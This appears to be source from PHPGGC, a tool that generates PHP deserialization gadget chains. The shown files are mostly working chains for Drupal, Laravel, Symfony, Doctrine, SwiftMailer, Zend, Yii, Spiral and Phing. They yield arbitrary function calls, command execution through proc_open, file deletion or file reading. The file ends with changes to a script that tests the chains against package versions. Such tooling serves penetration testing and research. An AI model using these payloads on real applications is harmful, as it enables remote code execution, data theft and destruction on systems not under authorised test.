14 'Based on package doctrine/doctrine-bundle, the Symfony bundle for
15 doctrine. This chain exploits : $schemaAssetFilter($assetName) from
16 SchemaAssetsFilterManager __invoke function.';
17
18 public function generate(array $parameters)
19 {
20 $function = $parameters['function'];
21 $parameter = $parameters['parameter'];
22 $obj = new CacheAdapter();
23 $obj->loader = 1;
24 $redisProxy = new RedisProxy($parameter);
25 $redisProxy->initializer = new SchemaAssetsFilterManager($function);
26 $obj->deferredItems = [$redisProxy];
27 return $obj;
28 }
29 }
0 <?php
1
2 namespace Doctrine\Common\Cache\Psr6
3 {
4
5 class CacheAdapter
6 {
7 public $deferredItems = true;
8 }
9
10 }
11
12 namespace Symfony\Component\Cache\Traits
13 {
14 class RedisProxy
15 {
16 public $redis;
17
18 public function __construct ($parameter)
19 {
20 $this->redis = $parameter;
21 }
22
23 }
24 }
25
26 namespace Doctrine\Bundle\DoctrineBundle\Dbal
27 {
28 class SchemaAssetsFilterManager
29 {
30 public $schemaAssetFilters;
31 public function __construct ($function)
32 {
33 $this->schemaAssetFilters = [$function];
34 }
35 }
36 }
0 <?php
1
2 namespace GadgetChain\Drupal9;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-8.9.6 <= 9.4.9+';
7 public static $vector = '__destruct';
8 public static $author = 'rioru';
9 public static $information =
10 'Guzzle and Laminas are required for this chain but are bundled by default in Drupal.
11 Uses a __destruct() to call __toString() and finally lands in a call_user_func_array after a few call jumps.
12 Tested on drupal versions from 8.9.6 up to 9.4.9 (latest), might work on slightly older versions.';
13
14 public function generate(array $parameters)
15 {
16 $function = $parameters['function'];
17 $parameter = $parameters['parameter'];
18 return (
19 new \GuzzleHttp\Cookie\FileCookieJar(
20 new \Laminas\Diactoros\RelativeStream(
21 new \GuzzleHttp\Psr7\PumpStream(
22 new \Drupal\Core\Config\CachedStorage(
23 new \Drupal\Core\Config\MemoryStorage(),
24 new \Drupal\Component\DependencyInjection\Container(
25 ["1000000"=>serialize(["factory"=>$function, "arguments"=>[$parameter]])]
26 )
27 )
28 )
29 )
30 )
31 );
32 }
33 }
0 <?php
1
2 namespace GuzzleHttp\Cookie
3 {
4 class FileCookieJar
5 {
6 private $filename;
7 public function __construct($filename)
8 {
9 $this->filename = $filename;
10 }
11 /*
12 public function __destruct()
13 {
14 $this->save($this->filename);
15 }
16
17 public function save($filename)
18 {
19 $json = [];
20 foreach ($this as $cookie) {
21 if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
22 $json[] = $cookie->toArray();
23 }
24 }
25
26 $jsonStr = \GuzzleHttp\json_encode($json);
27 if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
28 throw new \RuntimeException("Unable to save file {$filename}");
29 }
30 }
31 */
32 }
33 }
34
35 namespace Laminas\Diactoros
36 {
37 class RelativeStream
38 {
39 private $decoratedStream;
40
41 public function __construct($decoratedStream)
42 {
43 $this->decoratedStream = $decoratedStream;
44 }
45
46 /*
47 public function __toString() : string
48 {
49 if ($this->isSeekable()) {
50 $this->seek(0);
51 }
52 return $this->getContents();
53 }
54
55 public function getContents() : string
56 {
57 if ($this->tell() < 0) {
58 throw new Exception\InvalidStreamPointerPositionException();
59 }
60 return $this->decoratedStream->getContents();
61 }
62 */
63 }
64 }
65
66 namespace GuzzleHttp\Psr7
67 {
68 class PumpStream
69 {
70 private $source;
71 private $buffer;
72
73 public function __construct($buffer)
74 {
75 $this->source = "1";
76 $this->buffer = $buffer;
77 }
78 /*
79 public function isSeekable()
80 {
81 return false;
82 }
83
84 public function getContents()
85 {
86 $result = '';
87 while (!$this->eof()) {
88 $result .= $this->read(1000000);
89 }
90
91 return $result;
92 }
93
94 public function eof()
95 {
96 return !$this->source;
97 }
98
99 public function read($length)
100 {
101 $data = $this->buffer->read($length);
102 $readLen = strlen($data);
103 $this->tellPos += $readLen;
104 $remaining = $length - $readLen;
105
106 if ($remaining) {
107 $this->pump($remaining);
108 $data .= $this->buffer->read($remaining);
109 $this->tellPos += strlen($data) - $readLen;
110 }
111
112 return $data;
113 }
114 */
115 }
116 }
117
118 namespace Drupal\Core\Config
119 {
120 class CachedStorage
121 {
122 protected $storage;
123 protected $cache;
124
125 public function __construct($storage, $cache) {
126 $this->storage = $storage;
127 $this->cache = $cache;
128 }
129 /*
130 public function read($name) {
131 $cache_key = $this->getCacheKey($name);
132 if ($cache = $this->cache->get($cache_key)) {
133 // The cache contains either the cached configuration data or FALSE
134 // if the configuration file does not exist.
135 return $cache->data;
136 }
137 // Read from the storage on a cache miss and cache the data. Also cache
138 // information about missing configuration objects.
139 $data = $this->storage->read($name);
140 $this->cache->set($cache_key, $data);
141 return $data;
142 }
143
144 protected function getCacheKey($name) {
145 return $this->getCollectionPrefix() . $name;
146 }
147
148 protected function getCollectionPrefix() {
149 $collection = $this->storage->getCollectionName();
150 if ($collection == StorageInterface::DEFAULT_COLLECTION) {
151 return '';
152 }
153 return $collection . ':';
154 }
155 */
156 }
157
158 class MemoryStorage
159 {
160 protected $collection;
161
162 public function __construct()
163 {
164 $this->collection = "";
165 }
166 /*
167 public function getCollectionName() {
168 return $this->collection;
169 }
170 */
171 }
172 }
173
174 namespace Drupal\Component\DependencyInjection
175 {
176 class Container
177 {
178 protected $serviceDefinitions;
179
180 public function __construct($serviceDefinitions) {
181 $this->serviceDefinitions = $serviceDefinitions;
182 }
183
184 /*
185 public function get($id, $invalid_behavior = ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) {
186 if ($this->hasParameter('_deprecated_service_list')) {
187 if ($deprecation = $this->getParameter('_deprecated_service_list')[$id] ?? '') {
188 @trigger_error($deprecation, E_USER_DEPRECATED);
189 }
190 }
191 if (isset($this->aliases[$id])) {
192 $id = $this->aliases[$id];
193 }
194
195 // Re-use shared service instance if it exists.
196 if (isset($this->services[$id]) || ($invalid_behavior === ContainerInterface::NULL_ON_INVALID_REFERENCE && array_key_exists($id, $this->services))) {
197 return $this->services[$id];
198 }
199
200 if (isset($this->loading[$id])) {
201 throw new ServiceCircularReferenceException($id, array_keys($this->loading));
202 }
203
204 $definition = $this->serviceDefinitions[$id] ?? NULL;
205
206 if (!$definition && $invalid_behavior === ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) {
207 if (!$id) {
208 throw new ServiceNotFoundException('');
209 }
210
211 throw new ServiceNotFoundException($id, NULL, NULL, $this->getServiceAlternatives($id));
212 }
213
214 // In case something else than ContainerInterface::NULL_ON_INVALID_REFERENCE
215 // is used, the actual wanted behavior is to re-try getting the service at a
216 // later point.
217 if (!$definition) {
218 return;
219 }
220
221 // Definition is a keyed array, so [0] is only defined when it is a
222 // serialized string.
223 if (isset($definition[0])) {
224 $definition = unserialize($definition);
225 }
226
227 // Now create the service.
228 $this->loading[$id] = TRUE;
229
230 try {
231 $service = $this->createService($definition, $id);
232 }
233 catch (\Exception $e) {
234 unset($this->loading[$id]);
235 unset($this->services[$id]);
236
237 if (ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE !== $invalid_behavior) {
238 return;
239 }
240
241 throw $e;
242 }
243
244 unset($this->loading[$id]);
245
246 return $service;
247 }
248
249 public function hasParameter($name) {
250 return isset($this->parameters[$name]) || array_key_exists($name, $this->parameters);
251 }
252
253 protected function createService(array $definition, $id) {
254 if (isset($definition['synthetic']) && $definition['synthetic'] === TRUE) {
255 throw new RuntimeException(sprintf('You have requested a synthetic service ("%s"). The service container does not know how to construct this service. The service will need to be set before it is first used.', $id));
256 }
257
258 $arguments = [];
259 if (isset($definition['arguments'])) {
260 $arguments = $definition['arguments'];
261
262 if ($arguments instanceof \stdClass) {
263 $arguments = $this->resolveServicesAndParameters($arguments);
264 }
265 }
266
267 if (isset($definition['file'])) {
268 $file = $this->frozen ? $definition['file'] : current($this->resolveServicesAndParameters([$definition['file']]));
269 require_once $file;
270 }
271
272 if (isset($definition['factory'])) {
273 $factory = $definition['factory'];
274 if (is_array($factory)) {
275 $factory = $this->resolveServicesAndParameters([$factory[0], $factory[1]]);
276 }
277 elseif (!is_string($factory)) {
278 throw new RuntimeException(sprintf('Cannot create service "%s" because of invalid factory', $id));
279 }
280
281 $service = call_user_func_array($factory, $arguments);
282 }
283 else {
284 $class = $this->frozen ? $definition['class'] : current($this->resolveServicesAndParameters([$definition['class']]));
285 $service = new $class(...$arguments);
286 }
287
288 if (!isset($definition['shared']) || $definition['shared'] !== FALSE) {
289 $this->services[$id] = $service;
290 }
291
292 if (isset($definition['calls'])) {
293 foreach ($definition['calls'] as $call) {
294 $method = $call[0];
295 $arguments = [];
296 if (!empty($call[1])) {
297 $arguments = $call[1];
298 if ($arguments instanceof \stdClass) {
299 $arguments = $this->resolveServicesAndParameters($arguments);
300 }
301 }
302 call_user_func_array([$service, $method], $arguments);
303 }
304 }
305
306 if (isset($definition['properties'])) {
307 if ($definition['properties'] instanceof \stdClass) {
308 $definition['properties'] = $this->resolveServicesAndParameters($definition['properties']);
309 }
310 foreach ($definition['properties'] as $key => $value) {
311 $service->{$key} = $value;
312 }
313 }
314
315 if (isset($definition['configurator'])) {
316 $callable = $definition['configurator'];
317 if (is_array($callable)) {
318 $callable = $this->resolveServicesAndParameters($callable);
319 }
320
321 if (!is_callable($callable)) {
322 throw new InvalidArgumentException(sprintf('The configurator for class "%s" is not a callable.', get_class($service)));
323 }
324
325 call_user_func($callable, $service);
326 }
327
328 return $service;
329 }
330 */
331 }
332 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.8.35, 7.0.0, 9.3.10';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9 public static $information = 'According to different version you may need to modify the "gadgets.php". For Laravel5, use the field $rollbarNotifier. For laravel7 and later, use the filed $rollbarLogger';
10
11
12 public function generate(array $parameters)
13 {
14 $function = $parameters['function'];
15 $param = $parameters['parameter'];
16
17 $a = new \Monolog\Handler\RollbarHandler($function, $param);
18
19 return $a;
20 }
21 }
0 <?php
1
2 namespace Monolog\Handler{
3 class RollbarHandler{
4 private $hasRecords;
5 //protected $rollbarNotifier;
6 protected $rollbarLogger;
7
8 function __construct($function,$paramter)
9 {
10 $this->hasRecords = true;
11 //$this->rollbarNotifier = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel5.8.35
12 $this->rollbarLogger = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel7.0.0
13 }
14 }
15 }
16
17 namespace Illuminate\Foundation\Support\Providers{
18 class RouteServiceProvider{
19 protected $app;
20
21 function __construct($function,$paramter)
22 {
23 $this->app = new \Illuminate\View\Factory($function,$paramter);
24 }
25 }
26 }
27
28 namespace Illuminate\View{
29 class Factory{
30 protected $finder;
31
32 function __construct($function,$paramter)
33 {
34 $this->finder = new \Symfony\Component\Console\Application($function,$paramter);
35 }
36
37 }
38 }
39
40 namespace Symfony\Component\Console{
41 class Application{
42 private $initialized;
43 private $commands;
44 private $commandLoader;
45
46 function __construct($function,$paramter)
47 {
48 $this->initialized = true;
49 $this->commandLoader = new \Illuminate\Cache\Repository($function,$paramter);
50 $this->commands = [new \Illuminate\Foundation\AliasLoader()];
51 }
52 }
53 }
54
55 namespace Illuminate\Foundation{
56 class AliasLoader{
57 protected $aliases;
58
59 function __construct()
60 {
61 $this->aliases = ["key"];
62 }
63 }
64 }
65
66 namespace Illuminate\Cache{
67 class Repository{
68 protected $store;
69
70 function __construct($function,$paramter)
71 {
72 $this->store = new \PhpOption\LazyOption($function,$paramter);
73 }
74 }
75 }
76
77 namespace PhpOption{
78 class LazyOption{
79 private $option;
80 private $callback;
81 private $arguments;
82
83 function __construct($function,$paramter)
84 {
85 $this->callback = $function;
86 $this->arguments = [$paramter];
87 }
88 }
89 }
0 <?php
1
2 namespace GadgetChain\Phing;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '2.6.0 <= 3.0.0a3';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 return new \WikiPublishTask($parameters['remote_path']);
13 }
14 }
0 <?php
1 class WikiPublishTask
2 {
3 private $cookiesFile;
4
5 function __construct($path)
6 {
7 $this->cookiesFile = $path;
8 }
9 }
0 <?php
1
2 namespace GadgetChain\Spiral;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '2.7.0 <= 2.8.13';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Monolog\Handler\RotatingFileHandler($function,$parameter);
16 }
17 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 class RotatingFileHandler
5 {
6 protected $mustRotate;
7 protected $filename;
8 protected $filenameFormat;
9 protected $dateFormat;
10
11 function __construct($function,$param)
12 {
13 $this->dateFormat = "l";
14 $this->mustRotate = true;
15 $this->filename = "anything";
16 $this->filenameFormat = new \Spiral\Reactor\FileDeclaration($function,$param);
17 }
18 }
19 }
20
21 namespace Spiral\Reactor
22 {
23 class FileDeclaration
24 {
25 private $docComment;
26
27 public function __construct($function,$parameter)
28 {
29 $this->docComment = new \PhpOption\LazyOption($function,$parameter);
30 }
31 }
32 }
33
34 namespace PhpOption
35 {
36 class LazyOption
37 {
38 private $callback;
39 private $arguments;
40
41 public function __construct($function,$parameter)
42 {
43 $this->callback = $function;
44 $this->arguments = [$parameter];
45 }
46 }
47 }
0 <?php
1
2 namespace GadgetChain\Spiral;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-2.8+';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9 public static $information = 'execute the function and throw an error';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \App\App($function,$parameter);
17 }
18 }
0 <?php
1
2 namespace App
3 {
4 class App
5 {
6 protected $finalizer;
7
8 function __construct($function,$param)
9 {
10 $this->finalizer = new \Spiral\Boot\Finalizer($function,$param);
11 }
12 }
13 }
14
15 namespace Spiral\Boot
16 {
17 class Finalizer
18 {
19 private $finalizers;
20
21 function __construct($function,$param)
22 {
23 $this->finalizers = [[new \PhpOption\LazyOption($function,$param),"get"]];
24 }
25 }
26 }
27
28 namespace PhpOption
29 {
30 class LazyOption
31 {
32 private $callback;
33 private $arguments;
34
35 public function __construct($function,$parameter)
36 {
37 $this->callback = $function;
38 $this->arguments = [$parameter];
39 }
40 }
41 }
0 <?php
1
2 namespace GadgetChain\SwiftMailer;
3
4 class FD2 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '5.4.6 <= 5.x-dev';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9 public static $information = 'the path should be in the form of "path/filename"';
10
11 public function generate(array $parameters)
12 {
13 return new \Swift_Image($parameters['remote_path']);
14 }
15 }
0 <?php
1
2 class Swift_Image
3 {
4 private $_cache;
5 private $_cacheKey;
6
7 public function __construct($path)
8 {
9 $path_a = explode("/", $path);
10 $this->_cacheKey = $path_a[count($path_a) - 2];
11 $pre_index = strripos($path, "/");
12 $pre = substr($path, 0, $pre_index - strlen($this->_cacheKey) - 1);
13
14 $this->_cache = new Swift_KeyCache_DiskKeyCache(
15 $pre, $path_a[count($path_a) - 2], $path_a[count($path_a) - 1]
16 );
17 }
18 }
19
20 class Swift_KeyCache_DiskKeyCache
21 {
22 private $_path;
23 private $_keys;
24
25 public function __construct($pre_path, $path, $filename)
26 {
27 $this->_path = $pre_path;
28 $this->_keys = [$path => [$filename => '']];
29 }
30 }
0 <?php
1
2 namespace GadgetChain\SwiftMailer;
3
4 class FR1 extends \PHPGGC\GadgetChain\FileRead
5 {
6 public static $version = '6.0.0 <= 6.3.0';
7 public static $vector = '__toString';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 return new \Swift_EmbeddedFile($parameters['remote_path']);
13 }
14 }
0 <?php
1
2 class Swift_Mime_SimpleMimeEntity
3 {
4 private $headers;
5 private $body;
6 private $cache;
7 private $encoder;
8 private $maxLineLength;
9 private $cacheKey;
10
11 public function __construct($path)
12 {
13 $this->headers = new Swift_Mime_Headers_OpenDKIMHeader();
14 $this->body = new Swift_ByteStream_FileByteStream($path);
15 $this->cache = new Swift_KeyCache_ArrayKeyCache();
16 $this->encoder = new Swift_Mime_ContentEncoder_PlainContentEncoder();
17 $this->cacheKey = "anykey";
18 $this->maxLineLength = 100;
19 }
20 }
21
22 class Swift_EmbeddedFile extends Swift_Mime_SimpleMimeEntity
23 {
24 public function __construct($path)
25 {
26 parent::__construct($path);
27 }
28 }
29
30 class Swift_Mime_Headers_OpenDKIMHeader
31 {
32 private $fieldName;
33
34 function __construct()
35 {
36 $this->fieldName = "any";
37 }
38 }
39
40 class Swift_KeyCache_ArrayKeyCache
41 {
42 }
43
44 class Swift_Mime_ContentEncoder_PlainContentEncoder
45 {
46 private $canonical = true;
47 }
48
49 class Swift_ByteStream_FileByteStream
50 {
51 private $path;
52
53 function __construct($path)
54 {
55 $this->path = $path;
56 }
57 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE\Command
5 {
6 public static $version = 'v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9 public static $information = 'Executes given command through proc_open()';
10
11 public function generate(array $parameters)
12 {
13 $command = $parameters['command'];
14
15 return new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(
16 $command
17 );
18 }
19 }
0 <?php
1 namespace Symfony\Component\Routing\Loader\Configurator
2 {
3 class ImportConfigurator
4 {
5 private $parent;
6
7 function __construct($cmd)
8 {
9 $this->parent = new \Symfony\Component\Cache\Traits\RedisProxy($cmd);
10 }
11 }
12 }
13
14 namespace Symfony\Component\Cache\Traits
15 {
16 class RedisProxy
17 {
18 private $initializer;
19 private $redis;
20
21 function __construct($cmd)
22 {
23 $this->initializer = new \Symfony\Component\DependencyInjection\Loader\Configurator\InstanceofConfigurator($cmd);
24 $this->redis = $cmd;
25 }
26 }
27 }
28
29 namespace Symfony\Component\DependencyInjection\Loader\Configurator
30 {
31 class InstanceofConfigurator
32 {
33 protected $parent;
34
35 function __construct($cmd)
36 {
37 $this->parent = new \Symfony\Component\Cache\Simple\Psr6Cache($cmd);
38 }
39
40 }
41 }
42
43 namespace Symfony\Component\Cache\Simple
44 {
45 class Psr6Cache
46 {
47 private $pool;
48
49 function __construct($cmd)
50 {
51 $this->pool = new \Symfony\Component\Cache\Adapter\PhpArrayAdapter($cmd);
52 }
53
54 }
55 }
56
57 namespace Symfony\Component\Cache\Adapter
58 {
59 class PhpArrayAdapter
60 {
61 private $values;
62 private $createCacheItem;
63
64 function __construct($cmd)
65 {
66 $this->values = array($cmd=>[]);
67 $this->createCacheItem = "proc_open";
68 }
69 }
70 }
0 <?php
1
2 namespace GadgetChain\Yii;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.1.20';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 $a = new \WikiPublishTask($function, $parameter);
16
17 return $a;
18 }
19 }
0 <?php
1
2 namespace Prophecy\Argument\Token
3 {
4 class ExactValueToken
5 {
6 private $util;
7 private $value;
8
9 function __construct($function, $parameter)
10 {
11 $this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function);
12 $this->value = $parameter;
13 }
14 }
15 }
16
17 namespace
18 {
19 class WikiPublishTask
20 {
21 private $cookiesFile;
22
23 function __construct($function, $parameter)
24 {
25 $this->cookiesFile = new \Prophecy\Argument\Token\ExactValueToken(
26 $function, $parameter
27 );
28 }
29 }
30
31 class PHPUnit_Extensions_Selenium2TestCase_Session
32 {
33 protected $commands;
34 protected $url;
35 protected $driver;
36
37 function __construct($function)
38 {
39 $this->commands = ['stringify' => $function];
40 $this->url = new PHPUnit_Extensions_Selenium2TestCase_URL();
41 $this->driver = new DocBlox_Parallel_Worker();
42 }
43 }
44
45 class PHPUnit_Extensions_Selenium2TestCase_URL
46 {
47 }
48
49 class DocBlox_Parallel_Worker
50 {
51 }
52 }
0 <?php
1
2 namespace GadgetChain\ZendFramework;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '2.0.0rc2 <= 2.5.3';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters["function"];
13 $parameter = $parameters["parameter"];
14
15 return new \Zend\Cache\Storage\Adapter\Memory($function, $parameter);
16 }
17 }
0 <?php
1 namespace Zend\Cache\Storage\Adapter
2 {
3 class Memory
4 {
5 protected $eventHandles;
6 protected $events;
7
8 function __construct($function, $param)
9 {
10 $this->eventHandles = [1];
11 $this->events = new \Zend\View\Renderer\PhpRenderer($function, $param);
12 }
13 }
14 }
15
16 namespace Zend\View\Renderer
17 {
18 class PhpRenderer
19 {
20 private $__helpers;
21
22 function __construct($function, $param)
23 {
24 $this->__helpers = new \Zend\Tag\Cloud\DecoratorPluginManager($function, $param);
25 }
26 }
27 }
28
29 namespace Zend\Tag\Cloud
30 {
31 class DecoratorPluginManager
32 {
33 protected $canonicalNames;
34 protected $invokableClasses;
35 protected $retrieveFromPeeringManagerFirst;
36 protected $initializers;
37
38 function __construct($function, $param)
39 {
40 $this->canonicalNames = array("detach"=>"cname","cname"=>"any");
41 $this->invokableClasses = array("cname"=>"Zend\Tag\Cloud\DecoratorPluginManager");//satisfying the class_exists
42 $this->retrieveFromPeeringManagerFirst = false;
43 $this->initializers = [new \Zend\Filter\FilterChain($function, $param)];
44 }
45 }
46 }
47
48 namespace Zend\Filter
49 {
50 class FilterChain
51 {
52 protected $filters;
53
54 function __construct($function, $param)
55 {
56 $this->filters = new \SplFixedArray(2);
57 $this->filters[0] = array(
58 new \Zend\Json\Expr($param),
59 "__toString"
60 );
61 $this->filters[1] = $function;
62 }
63 }
64 }
65
66 namespace Zend\Json
67 {
68 class Expr
69 {
70 protected $expression;
71
72 function __construct($param)
73 {
74 $this->expression = $param;
75 }
76 }
77 }
231231 }, $classes);
232232
233233 $gcs = array_combine($names, $classes);
234 ksort($gcs);
234 ksort($gcs, SORT_NATURAL);
235235
236236 return $gcs;
237237 }
1616
1717 Dependencies:
1818 $ pip install rich
19
20 Versions:
21 You can specify package version by adding a semicolon to the package name:
22
23 # Tests version 1.6.0 and 1.6.3
24 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1
25
26 or with a range:
27
28 # Tests from version 5.0.0 to 6.1.3
29 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1
30
31 If no upper or lower version is present, every version before (resp. after)
32 the specified one will be tested:
33
34 # from doctrine 1.12.0 to the newest
35 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1
36 # from the first version of doctrine to 1.6.0
37 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1
38
1939
2040 Credit goes to @M4yFly for the original idea and implementation.
2141 """
2848 import tempfile
2949 import shutil
3050
31
3251 try:
3352 from rich import print
3453 except ImportError:
5776 for gc in self._gcs:
5877 self.ensure_gc_exists(gc)
5978
60 versions = self._package.get_versions()
79 php_version = self._executor.php("--version")[0].split("\n")[0]
80 print(f"Running on PHP version " f"[blue]{php_version}[/blue]" f".")
81
82 versions = self._package.get_target_versions()
6183 print(
6284 f"Testing {len(versions)} versions for "
6385 f"[blue]{self._package.name}[/blue] against "
130152
131153 def setup_arguments():
132154 parser = argparse.ArgumentParser(
133 description="Test PHPGGC gadget chains against every version of a composer package."
155 description="Test PHPGGC gadget chains against every version of a composer package.",
156 epilog="""\
157 Example:
158 $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
159
160 Required executables:
161 The program requires phpggc and composer.
162 By default, it will use the `phpggc` from the current directory, and the
163 composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH`
164 and `COMPOSER_PATH` environment variables.
165 If a file cannot be ran straight up, we'll try using `php <file>` instead.
166
167 Dependencies:
168 $ pip install rich
169
170 Versions:
171 You can specify package version by adding a semicolon to the package name:
172
173 # Tests version 1.6.0 and 1.6.3
174 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1
175
176 or with a range:
177
178 # Tests from version 5.0.0 to 6.1.3
179 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1
180
181 If no upper or lower version is present, every version before (resp. after)
182 the specified one will be tested:
183
184 # from doctrine 1.12.0 to the newest
185 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1
186 # from the first version of doctrine to 1.6.0
187 $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1
188 """,
189 formatter_class=argparse.RawTextHelpFormatter,
134190 )
135191 parser.add_argument("package")
136192 parser.add_argument("gadget_chain", nargs="+")
168224 if path.exists():
169225 php_file = str(path.absolute())
170226
171 php_binary = os.environ.get("PHP_BINARY", "php")
172
173227 if self._try_run_command(php_file):
174228 return (php_file,)
175 elif path.exists() and self._try_run_command(php_binary, php_file):
176 return (php_binary, php_file)
229 elif path.exists() and self._try_run_command(self._php_path, php_file):
230 return (self._php_path, php_file)
177231 raise TesterException(f"Unable to run PHP file: {php_file}")
178232
179233 def get_commands(self):
187241 if not pathlib.Path(phpggc).is_file():
188242 raise TesterException("phpggc executable not found")
189243
244 self._php_path = os.environ.get("PHP_BINARY", "php")
190245 self._phpggc = self._get_valid_run_command(phpggc)
191246 self._composer = self._get_valid_run_command(composer)
192247
205260 """
206261 return self._run(*self._phpggc, *args).returncode == 0
207262
263 def php(self, *args):
264 """Runs PHP with given arguments and returns whether the execution
265 was successful or not.
266 """
267 process = self._run(self._php_path, *args)
268 return process.stdout.decode("utf-8"), process.stderr.decode("utf-8")
269
208270
209271 class Package:
210272 """Represents a composer package."""
211273
212274 def __init__(self, name, executor):
213 self.name = name
275 self.extract_name_versions(name)
214276 self._executor = executor
215277 self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix="phpggc"))
216278
217 def get_versions(self):
218 """Uses composer to obtain each version (or tag) for the package."""
279 def extract_name_versions(self, name):
280 if ":" not in name:
281 self.name = name
282 self.versions = None
283 else:
284 self.name, self.versions = name.split(":")
285
286 def get_package_versions(self):
219287 versions, _ = self._executor.composer("show", "-a", self.name)
220288 versions = re.search(r"versions :(.*)\ntype", versions).group(1)
221289 return [v.strip() for v in versions.split(",")]
290
291 def get_target_versions(self):
292 """Uses composer to obtain each version (or tag) for the package."""
293 if self.versions is None:
294 return self.get_package_versions()
295
296 package_versions = None
297 target_versions = []
298
299 def get_version_idx_or_raise(version):
300 try:
301 return package_versions.index(version)
302 except ValueError:
303 raise ValueError(f"Version {version} could not be found")
304
305 for version in self.versions.split(","):
306 # range
307 if ".." in version:
308 vmin, vmax = version.split("..")
309 if package_versions is None:
310 package_versions = self.get_package_versions()
311
312 vmin_idx = (
313 get_version_idx_or_raise(vmin) if vmin else len(package_versions)
314 )
315 vmax_idx = get_version_idx_or_raise(vmax) if vmax else 0
316 # Versions are stored from biggest to smallest
317 target_versions += package_versions[vmax_idx : vmin_idx + 1]
318 else:
319 target_versions.append(version)
320
321 return target_versions
222322
223323 def clean_workdir(self, final=False):
224324 """Removes any composer related file in the working directory, such as
234334 """Uses composer to install a specific version of the package."""
235335 self.clean_workdir()
236336 _, stderr = self._executor.composer(
237 "require", "-q", "--ignore-platform-reqs", f"{self.name}:{version}"
337 "require",
338 "--no-scripts",
339 "--no-interaction",
340 "--no-plugins",
341 "--quiet",
342 "--ignore-platform-req=ext-*",
343 f"{self.name}:{version}",
238344 )
239345 if stderr:
240346 raise ValueError(f"Unable to install version: {version}")